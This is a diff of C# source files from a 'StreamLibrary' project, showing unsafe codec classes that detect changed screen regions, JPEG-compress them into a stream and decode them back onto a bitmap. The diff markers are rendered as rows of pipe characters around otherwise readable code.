//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
populairPoints.Add(new PopulairPoint(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
buffer = new byte[blockStride * rect.Height];
|
||||||
|
|
||||||
|
fixed (byte* ptr = buffer)
|
||||||
|
{
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||||
|
{
|
||||||
|
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
|
||||||
|
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||||
|
{
|
||||||
|
PopulairPoint point = null;
|
||||||
|
if (GetPopulairPoint(rect, ref point))
|
||||||
|
{
|
||||||
|
point.Score++;
|
||||||
|
point.LastUpdate = Stopwatch.StartNew();
|
||||||
|
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
populairPoints.Add(new PopulairPoint(rect));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||||
|
outStream.Write(buffer, 0, buffer.Length);
|
||||||
|
TotalDataLength += buffer.Length + (4 * 5);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
Blocks.Clear();
|
||||||
|
ms.Close();
|
||||||
|
ms.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed(byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override Bitmap DecodeData(Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
PopulairPoint point = populairPoints[i];
|
||||||
|
if (point.Rect.Width == rect.Width &&
|
||||||
|
point.Rect.Height == rect.Height &&
|
||||||
|
point.Rect.X == rect.X &&
|
||||||
|
point.Rect.Y == rect.Y)
|
||||||
|
{
|
||||||
|
PopuPoint = populairPoints[i];
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
private PopulairPoint[] GetPossibleVideos()
|
||||||
|
{
|
||||||
|
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||||
|
for (int i = 0; i < populairPoints.Count; i++)
|
||||||
|
{
|
||||||
|
if (populairPoints[i].Score > 30)
|
||||||
|
{
|
||||||
|
points.Add(populairPoints[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return points.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,285 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeQuickStream : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize { get; internal set; }
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 0; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
private ulong[] EncodeBuffer;
|
||||||
|
|
||||||
|
private int BlockWidth = 0;
|
||||||
|
private int BlockHeight = 0;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
|
||||||
|
public List<Rectangle> VerifyPoints = null;
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
public UnsafeQuickStream(int ImageQuality = 100)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.CheckBlock = new Size(50, 50);//width must be bigger then 3
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = InputSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * InputSize.Height;
|
||||||
|
|
||||||
|
|
||||||
|
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = OutputRect.Width;
|
||||||
|
this.EncodedHeight = OutputRect.Height;
|
||||||
|
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
|
||||||
|
|
||||||
|
VerifyPoints = Points;
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
for (int i = 0; i < Points.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = Points[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
|
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||||
|
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||||
|
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||||
|
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
offset += blockStride;
|
||||||
|
}
|
||||||
|
TmpBmp.UnlockBits(TmpData);
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||||
|
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
|
||||||
|
long length = outStream.Position;
|
||||||
|
long OldPos = outStream.Position;
|
||||||
|
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||||
|
length = outStream.Position - length;
|
||||||
|
|
||||||
|
outStream.Position = OldPos - 4;
|
||||||
|
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||||
|
outStream.Position += length;
|
||||||
|
|
||||||
|
TmpBmp.Dispose();
|
||||||
|
TotalDataLength += (int)length + (4 * 5);
|
||||||
|
}
|
||||||
|
outStream.Position = oldPos;
|
||||||
|
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||||
|
{
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||||
|
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||||
|
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||||
|
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> points = new List<Rectangle>();
|
||||||
|
int StartScan = Scan0.ToInt32();
|
||||||
|
|
||||||
|
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||||
|
{
|
||||||
|
if (y + CheckBlock.Height > OutputRect.Height)
|
||||||
|
break;
|
||||||
|
|
||||||
|
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||||
|
{
|
||||||
|
if (x + CheckBlock.Width > OutputRect.Width)
|
||||||
|
break;
|
||||||
|
|
||||||
|
int EncodeOffset = GetOffset(x, y);
|
||||||
|
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||||
|
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||||
|
|
||||||
|
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||||
|
{
|
||||||
|
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||||
|
int index = points.Count - 1;
|
||||||
|
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = points[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
points[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
points.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return points;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Point GetOffsetPoint(int x, int y)
|
||||||
|
{
|
||||||
|
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||||
|
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||||
|
}
|
||||||
|
|
||||||
|
private int GetOffset(int x, int y)
|
||||||
|
{
|
||||||
|
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||||
|
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[4];
|
||||||
|
inStream.Read(temp, 0, 4);
|
||||||
|
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||||
|
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
temp = new byte[DataSize];
|
||||||
|
inStream.Read(temp, 0, temp.Length);
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<Rectangle> updates = new List<Rectangle>();
|
||||||
|
Rectangle rect;
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
Bitmap tmp;
|
||||||
|
byte[] buffer = null;
|
||||||
|
MemoryStream m;
|
||||||
|
|
||||||
|
while (DataSize > 0)
|
||||||
|
{
|
||||||
|
byte[] tempData = new byte[4 * 5];
|
||||||
|
inStream.Read(tempData, 0, tempData.Length);
|
||||||
|
|
||||||
|
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||||
|
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||||
|
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||||
|
buffer = new byte[UpdateLen];
|
||||||
|
inStream.Read(buffer, 0, buffer.Length);
|
||||||
|
|
||||||
|
if (onDecodeDebugScan != null)
|
||||||
|
onDecodeDebugScan(rect);
|
||||||
|
|
||||||
|
m = new MemoryStream(buffer);
|
||||||
|
tmp = (Bitmap)Image.FromStream(m);
|
||||||
|
g.DrawImage(tmp, rect.Location);
|
||||||
|
tmp.Dispose();
|
||||||
|
|
||||||
|
m.Close();
|
||||||
|
m.Dispose();
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||||
|
{
|
||||||
|
if (Length < 4)
|
||||||
|
return decodedBitmap;
|
||||||
|
|
||||||
|
int DataSize = *(int*)(CodecBuffer);
|
||||||
|
if (decodedBitmap == null)
|
||||||
|
{
|
||||||
|
byte[] temp = new byte[DataSize];
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||||
|
if (DataSize > 0)
|
||||||
|
{
|
||||||
|
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||||
|
for (int i = 4; DataSize > 0; )
|
||||||
|
{
|
||||||
|
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||||
|
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||||
|
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||||
|
byte[] temp = new byte[UpdateLen];
|
||||||
|
|
||||||
|
fixed (byte* tempPtr = temp)
|
||||||
|
{
|
||||||
|
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||||
|
{
|
||||||
|
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
DataSize -= UpdateLen + (4 * 5);
|
||||||
|
i += UpdateLen + (4 * 5);
|
||||||
|
}
|
||||||
|
g.Dispose();
|
||||||
|
}
|
||||||
|
return decodedBitmap;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@ -0,0 +1,367 @@
|
|||||||
|
using StreamLibrary.src;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace StreamLibrary.UnsafeCodecs
|
||||||
|
{
|
||||||
|
public class UnsafeStreamCodec : IUnsafeCodec
|
||||||
|
{
|
||||||
|
public override ulong CachedSize
|
||||||
|
{
|
||||||
|
get;
|
||||||
|
internal set;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override int BufferCount
|
||||||
|
{
|
||||||
|
get { return 1; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public override CodecOption CodecOptions
|
||||||
|
{
|
||||||
|
get { return CodecOption.RequireSameSize; }
|
||||||
|
}
|
||||||
|
|
||||||
|
public Size CheckBlock { get; private set; }
|
||||||
|
private byte[] EncodeBuffer;
|
||||||
|
private Bitmap decodedBitmap;
|
||||||
|
private PixelFormat EncodedFormat;
|
||||||
|
private int EncodedWidth;
|
||||||
|
private int EncodedHeight;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||||
|
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||||
|
|
||||||
|
bool UseJPEG;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initialize a new object of UnsafeStreamCodec
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||||
|
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||||
|
: base(ImageQuality)
|
||||||
|
{
|
||||||
|
this.CheckBlock = new Size(50, 1);
|
||||||
|
this.UseJPEG = UseJPEG;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||||
|
{
|
||||||
|
lock (ImageProcessLock)
|
||||||
|
{
|
||||||
|
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||||
|
if (!outStream.CanWrite)
|
||||||
|
throw new Exception("Must have access to Write in the Stream");
|
||||||
|
|
||||||
|
int Stride = 0;
|
||||||
|
int RawLength = 0;
|
||||||
|
int PixelSize = 0;
|
||||||
|
|
||||||
|
switch (Format)
|
||||||
|
{
|
||||||
|
case PixelFormat.Format24bppRgb:
|
||||||
|
case PixelFormat.Format32bppRgb:
|
||||||
|
PixelSize = 3;
|
||||||
|
break;
|
||||||
|
case PixelFormat.Format32bppArgb:
|
||||||
|
case PixelFormat.Format32bppPArgb:
|
||||||
|
PixelSize = 4;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
throw new NotSupportedException(Format.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
Stride = ImageSize.Width * PixelSize;
|
||||||
|
RawLength = Stride * ImageSize.Height;
|
||||||
|
|
||||||
|
if (EncodeBuffer == null)
|
||||||
|
{
|
||||||
|
this.EncodedFormat = Format;
|
||||||
|
this.EncodedWidth = ImageSize.Width;
|
||||||
|
this.EncodedHeight = ImageSize.Height;
|
||||||
|
this.EncodeBuffer = new byte[RawLength];
|
||||||
|
fixed (byte* ptr = EncodeBuffer)
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||||
|
{
|
||||||
|
temp = base.jpgCompression.Compress(TmpBmp);
|
||||||
|
}
|
||||||
|
|
||||||
|
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||||
|
outStream.Write(temp, 0, temp.Length);
|
||||||
|
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
long oldPos = outStream.Position;
|
||||||
|
outStream.Write(new byte[4], 0, 4);
|
||||||
|
int TotalDataLength = 0;
|
||||||
|
|
||||||
|
if (this.EncodedFormat != Format)
|
||||||
|
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||||
|
|
||||||
|
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||||
|
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||||
|
|
||||||
|
List<Rectangle> Blocks = new List<Rectangle>();
|
||||||
|
int index = 0;
|
||||||
|
|
||||||
|
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||||
|
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||||
|
|
||||||
|
int lasty = ScanArea.Height - lastSize.Height;
|
||||||
|
int lastx = ScanArea.Width - lastSize.Width;
|
||||||
|
|
||||||
|
Rectangle cBlock = new Rectangle();
|
||||||
|
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||||
|
|
||||||
|
s = new Size(ScanArea.Width, s.Height);
|
||||||
|
fixed (byte* encBuffer = EncodeBuffer)
|
||||||
|
{
|
||||||
|
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||||
|
{
|
||||||
|
if (y == lasty)
|
||||||
|
s = new Size(ScanArea.Width, lastSize.Height);
|
||||||
|
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||||
|
{
|
||||||
|
index = Blocks.Count - 1;
|
||||||
|
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||||
|
{
|
||||||
|
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||||
|
Blocks[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Blocks.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
y += s.Height;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||||
|
{
|
||||||
|
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||||
|
x = ScanArea.X;
|
||||||
|
while (x != ScanArea.Width)
|
||||||
|
{
|
||||||
|
if (x == lastx)
|
||||||
|
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||||
|
|
||||||
|
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||||
|
bool FoundChanges = false;
|
||||||
|
int blockStride = PixelSize * cBlock.Width;
|
||||||
|
|
||||||
|
for (int j = 0; j < cBlock.Height; j++)
|
||||||
|
{
|
||||||
|
int blockOffset = (Stride * (cBlock.Y+j)) + (PixelSize * cBlock.X);
|
||||||
|
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||||
|
FoundChanges = true;
|
||||||
|
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||||
|
}
|
||||||
|
|
||||||
|
if (onCodeDebugScan != null)
|
||||||
|
onCodeDebugScan(cBlock);
|
||||||
|
|
||||||
|
if(FoundChanges)
|
||||||
|
{
|
||||||
|
index = finalUpdates.Count - 1;
|
||||||
|
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[index];
|
||||||
|
int newWidth = cBlock.Width + rect.Width;
|
||||||
|
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||||
|
finalUpdates[index] = cBlock;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
finalUpdates.Add(cBlock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
x += s.Width;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*int maxHeight = 0;
|
||||||
|
int maxWidth = 0;
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
if (finalUpdates[i].Height > maxHeight)
|
||||||
|
maxHeight = finalUpdates[i].Height;
|
||||||
|
maxWidth += finalUpdates[i].Width;
|
||||||
|
}
|
||||||
|
|
||||||
|
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||||
|
int XOffset = 0;*/
|
||||||
|
|
||||||
|
for (int i = 0; i < finalUpdates.Count; i++)
|
||||||
|
{
|
||||||
|
Rectangle rect = finalUpdates[i];
|
||||||
|
int blockStride = PixelSize * rect.Width;
|
||||||
|
|
||||||
